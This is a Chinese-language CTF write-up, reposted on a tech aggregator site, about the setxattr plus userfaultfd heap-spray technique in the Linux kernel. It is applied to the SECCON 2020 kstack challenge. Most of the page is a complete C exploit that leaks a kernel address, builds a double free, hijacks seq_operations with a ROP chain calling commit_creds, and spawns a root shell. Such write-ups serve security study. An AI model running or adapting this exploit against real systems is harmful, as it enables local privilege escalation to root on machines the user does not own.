IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> linux 内核漏洞利用 setxattr + userfaultfd 堆占位技术 -> 正文阅读

[系统运维]linux 内核漏洞利用 setxattr + userfaultfd 堆占位技术

附件下载链接
setxattr 系统调用可以进行近乎任意大小的内核空间 object 分配。
调用链如下:

SYS_setxattr()
    path_setxattr()
        setxattr()

其中 setattr 函数关键逻辑如下:

static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
     size_t size, int flags)
{
    //...
        kvalue = kvmalloc(size, GFP_KERNEL);
        if (!kvalue)
            return -ENOMEM;
        if (copy_from_user(kvalue, value, size)) {

    //,..

    kvfree(kvalue);

    return error;
}

虽然 setxattr 可以分配任意大小的内核空间 object ,但是分配完之后就立即被释放了,起不到利用效果。因此这里需要配合 userfaultfd 将执行过程卡在 copy_from_user 处。
我们通过 mmap 分配连续的两个页面,在第二个页面上启用 userfaultfd,并在第一个页面的末尾写入我们想要的数据,此时我们调用 setxattr 进行跨页面的拷贝,当 copy_from_user 拷贝到第二个页面时便会触发 userfaultfd,从而让 setxattr 的执行流程卡在此处,这样这个 object 就不会被释放掉,而是可以继续参与我们接下来的利用。
在这里插入图片描述
例题:SECCON 2020 kstack
驱动维护一个内存块构成的链表。
内存块大小为 32 字节。
在这里插入图片描述
链表结构如下图所示。
在这里插入图片描述

主要有 add 和 del 两个功能。
这里注意到 add 功能是先将申请的内存块添加到链表中,然后再 copy_from_user 写入内容;而 del 功能是先找到要删除的内存块 copy_to_user 将内容复制出来再将其从链表中取出并释放掉。
也就是说当无论是 copy_from_user 还是 copy_to_user ,要操作的内存块依旧在链表中,此时借助 userfaultfd 可以再次对其进行 del 操作从而构造出 uaf 和 double free 。
因此漏洞利用思路如下:

  • 泄露内核地址
    首先申请一个 seq_operations 并将其释放,然后 add 将这个释放的 seq_operations 申请出来,在 copy_from_user 处通过 userfaultfd 利用 del 删掉加入链表中的内存块其中 del 的 copy_to_user 泄露出内核地址。

  • 构造 double free
    add 一个内存块然后将其 del ,在 copy_to_user 处通过 userfaultfd 利用 del 将其释放,userfaultfd 完成缺页处理后再次释放造成 double free 。

  • setxattr + userfaultfd 堆占位提权
    构造 double free 之后先是申请 seq_operations ,之后再 setxattr 申请同一个内存块。利用 userfaultfd 编辑 seq_operations 修改 start 函数指针为指向 add rsp val; gadget 将栈迁移到 pt_regs 结构体上提前布置好的 ROP 上完成提权。

这里需要注意的一点是,前面 double free 的内存块申请出来后,freelist 已经被破坏,直接获取 shell 会造成 kernel panic ,因此需要先释放之前申请的一些内存块来供后面的使用。
另外 userfaultf 处理完缺页错误之后最好 return 结束循环处理,不然会出现一些奇怪的问题,比如泄露内核地址没及时 return 会造成 double free 的内存块再第二次申请时申请不出来。(这个地方卡了我很久)

exp 如下:

#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <unistd.h>

size_t prepare_kernel_cred = 0xffffffff81069e00;
size_t commit_creds = 0xffffffff81069c10;
size_t pop_rdi_ret = 0xffffffff81034505;
size_t mov_rdi_rax_pop_rbp_ret = 0xffffffff8102d5ce;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81600a34;

int dev_fd;

void add(void *a) {
    if (ioctl(dev_fd, 0x57AC0001, a) < 0) {
        puts("[-] add error");
        exit(-1);
    }
}

void del(void *a) {
    if (ioctl(dev_fd, 0x57AC0002, a) < 0) {
        puts("[-] del error");
        exit(-1);
    }
}

char *page;
size_t page_size;
size_t kernel_offset;
int cnt = 0;

void leak_thread(void *arg) {
    long uffd = (long) arg;
    while (true) {
        struct pollfd pollfd;
        pollfd.fd = (int) uffd;
        pollfd.events = POLLIN;
        int nready = poll(&pollfd, 1, -1);
        if (nready == -1) {
            puts("[-] Error at: poll");
            exit(-1);
        }
        static struct uffd_msg msg;
        ssize_t nread = read((int) uffd, &msg, sizeof(msg));
        if (nread == 0) {
            puts("[-] Error at: EOF on userfaultfd!");
            exit(EXIT_FAILURE);
        }
        if (nread == -1) {
            puts("[-] Error at: read");
            exit(-1);
        }
        if (msg.event != UFFD_EVENT_PAGEFAULT) {
            puts("[-] Unexpected event on userfaultfd");
            exit(EXIT_FAILURE);
        }

        puts("[*] add trapped in userfaultfd.");
        del(&kernel_offset);
        printf("[+] leak addr: %p\n", kernel_offset);
        kernel_offset -= 0xffffffff8113be80;

        struct uffdio_copy uffdio_copy;
        uffdio_copy.src = (unsigned long) page;
        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
        printf("[*] uffdio_copy.dst: %p\n", uffdio_copy.dst);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl((int) uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
            puts("[-] Error at: ioctl-UFFDIO_COPY");
            exit(-1);
        }
        return;
    }
}

void *double_free_thread(void *arg) {
    long uffd = (long) arg;
    while (true) {
        struct pollfd pollfd;
        pollfd.fd = (int) uffd;
        pollfd.events = POLLIN;
        int nready = poll(&pollfd, 1, -1);
        if (nready == -1) {
            puts("[-] Error at: poll");
            exit(-1);
        }
        static struct uffd_msg msg;
        ssize_t nread = read((int) uffd, &msg, sizeof(msg));
        if (nread == 0) {
            puts("[-] Error at: EOF on userfaultfd!");
            exit(EXIT_FAILURE);
        }
        if (nread == -1) {
            puts("[-] Error at: read");
            exit(-1);
        }
        if (msg.event != UFFD_EVENT_PAGEFAULT) {
            puts("[-] Unexpected event on userfaultfd");
            exit(EXIT_FAILURE);
        }

        puts("[*] del trapped in userfaultfd.");
        puts("[*] construct the double free...");
        del(page);

        struct uffdio_copy uffdio_copy;
        uffdio_copy.src = (unsigned long) page;
        uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
        printf("[*] uffdio_copy.dst: %p\n", uffdio_copy.dst);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl((int) uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
            puts("[-] Error at: ioctl-UFFDIO_COPY");
            exit(-1);
        }
    }
}

int seq_fd_reserve[100], seq_fd;

void *hijack_thread(void *arg) {
    long uffd = (long) arg;
    while (true) {
        struct pollfd pollfd;
        pollfd.fd = (int) uffd;
        pollfd.events = POLLIN;
        int nready = poll(&pollfd, 1, -1);
        if (nready == -1) {
            puts("[-] Error at: poll");
            exit(-1);
        }
        static struct uffd_msg msg;
        ssize_t nread = read((int) uffd, &msg, sizeof(msg));
        if (nread == 0) {
            puts("[-] Error at: EOF on userfaultfd!");
            exit(EXIT_FAILURE);
        }
        if (nread == -1) {
            puts("[-] Error at: read");
            exit(-1);
        }
        if (msg.event != UFFD_EVENT_PAGEFAULT) {
            puts("[-] Unexpected event on userfaultfd");
            exit(EXIT_FAILURE);
        }

        puts("[*] setxattr trapped in userfaultfd.");
        for (int i = 0; i < 100; i++) {
            close(seq_fd_reserve[i]);
        }

        pop_rdi_ret += kernel_offset;
        mov_rdi_rax_pop_rbp_ret += kernel_offset;
        prepare_kernel_cred += kernel_offset;
        commit_creds += kernel_offset;
        swapgs_restore_regs_and_return_to_usermode += kernel_offset + 0x10;

        __asm__(
        "mov r15,   0xbeefdead;"
        "mov r14,   0x11111111;"
        "mov r13,   pop_rdi_ret;"
        "mov r12,   0;"
        "mov rbp,   prepare_kernel_cred;"
        "mov rbx,   mov_rdi_rax_pop_rbp_ret;"
        "mov r11,   0x66666666;"
        "mov r10,   commit_creds;"
        "mov r9,    swapgs_restore_regs_and_return_to_usermode;"
        "mov r8,    0x99999999;"
        "xor rax,   rax;"
        "mov rcx,   0xaaaaaaaa;"
        "mov rdx,   8;"
        "mov rsi,   rsp;"
        "mov rdi,   seq_fd;"
        "syscall");

        puts("[+] back to userland successfully!");

        printf("[+] uid: %d gid: %d\n", getuid(), getgid());

        puts("[*] execve root shell now...");
        system("/bin/sh");
    }
}

void register_userfaultfd(void *addr, size_t len, void *(*handler)(void *)) {
    long uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffd == -1) {
        puts("[-] Error at: userfaultfd");
        exit(-1);
    }
    struct uffdio_api uffdio_api = {.api = UFFD_API, .features = 0};
    if (ioctl((int) uffd, UFFDIO_API, &uffdio_api) == -1) {
        puts("[-] Error at: ioctl-UFFDIO_API");
        exit(-1);
    }
    struct uffdio_register uffdio_register;
    uffdio_register.range.start = (unsigned long) addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl((int) uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {
        puts("[-] Error at: ioctl-UFFDIO_REGISTER");
        exit(-1);
    }
    static pthread_t monitor_thread;
    if (pthread_create(&monitor_thread, NULL, handler, (void *) uffd) != 0) {
        puts("[-] Error at: pthread_create");
        exit(-1);
    }
}

int main() {
    if ((dev_fd = open("/proc/stack", O_RDONLY)) < 0) {
        puts("[-] open kstack error.");
        exit(-1);
    }
    page = malloc(0x1000);
    page_size = sysconf(_SC_PAGE_SIZE);

    for (int i = 0; i < 100; i++) {
        if ((seq_fd_reserve[i] = open("/proc/self/stat", O_RDONLY)) < 0) {
            puts("[-] open seq_operation error.");
            exit(-1);
        }
    }

    void *leak_uffd_buf = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    register_userfaultfd(leak_uffd_buf, page_size, (void *) leak_thread);

    if ((seq_fd = open("/proc/self/stat", O_RDONLY)) < 0) {
        puts("[-] open seq_operation error.");
        exit(-1);
    }

    close(seq_fd);
    add(leak_uffd_buf);

    printf("[+] kernel offset: %p\n", kernel_offset);

    void *uaf_uffd_buf = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    register_userfaultfd(uaf_uffd_buf, page_size, (void *) double_free_thread);

    add("aaa");
    del(uaf_uffd_buf);
    char *hijack_uffd_buf = (char *) mmap(NULL, page_size * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1,
                                          0);
    register_userfaultfd(hijack_uffd_buf + page_size, page_size, (void *) hijack_thread);
    *(size_t *) (hijack_uffd_buf + page_size - 8) = 0xffffffff814d51c0 + kernel_offset;

    if ((seq_fd = open("/proc/self/stat", O_RDONLY)) < 0) {
        puts("[-] open seq_operation error.");
        exit(-1);
    }

    setxattr("/exp", page, hijack_uffd_buf + page_size - 8, 32, 0);

    return 0;
}
  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章           查看所有文章
加:2022-07-04 23:22:23  更:2022-07-04 23:25:51 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/19 0:44:53-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码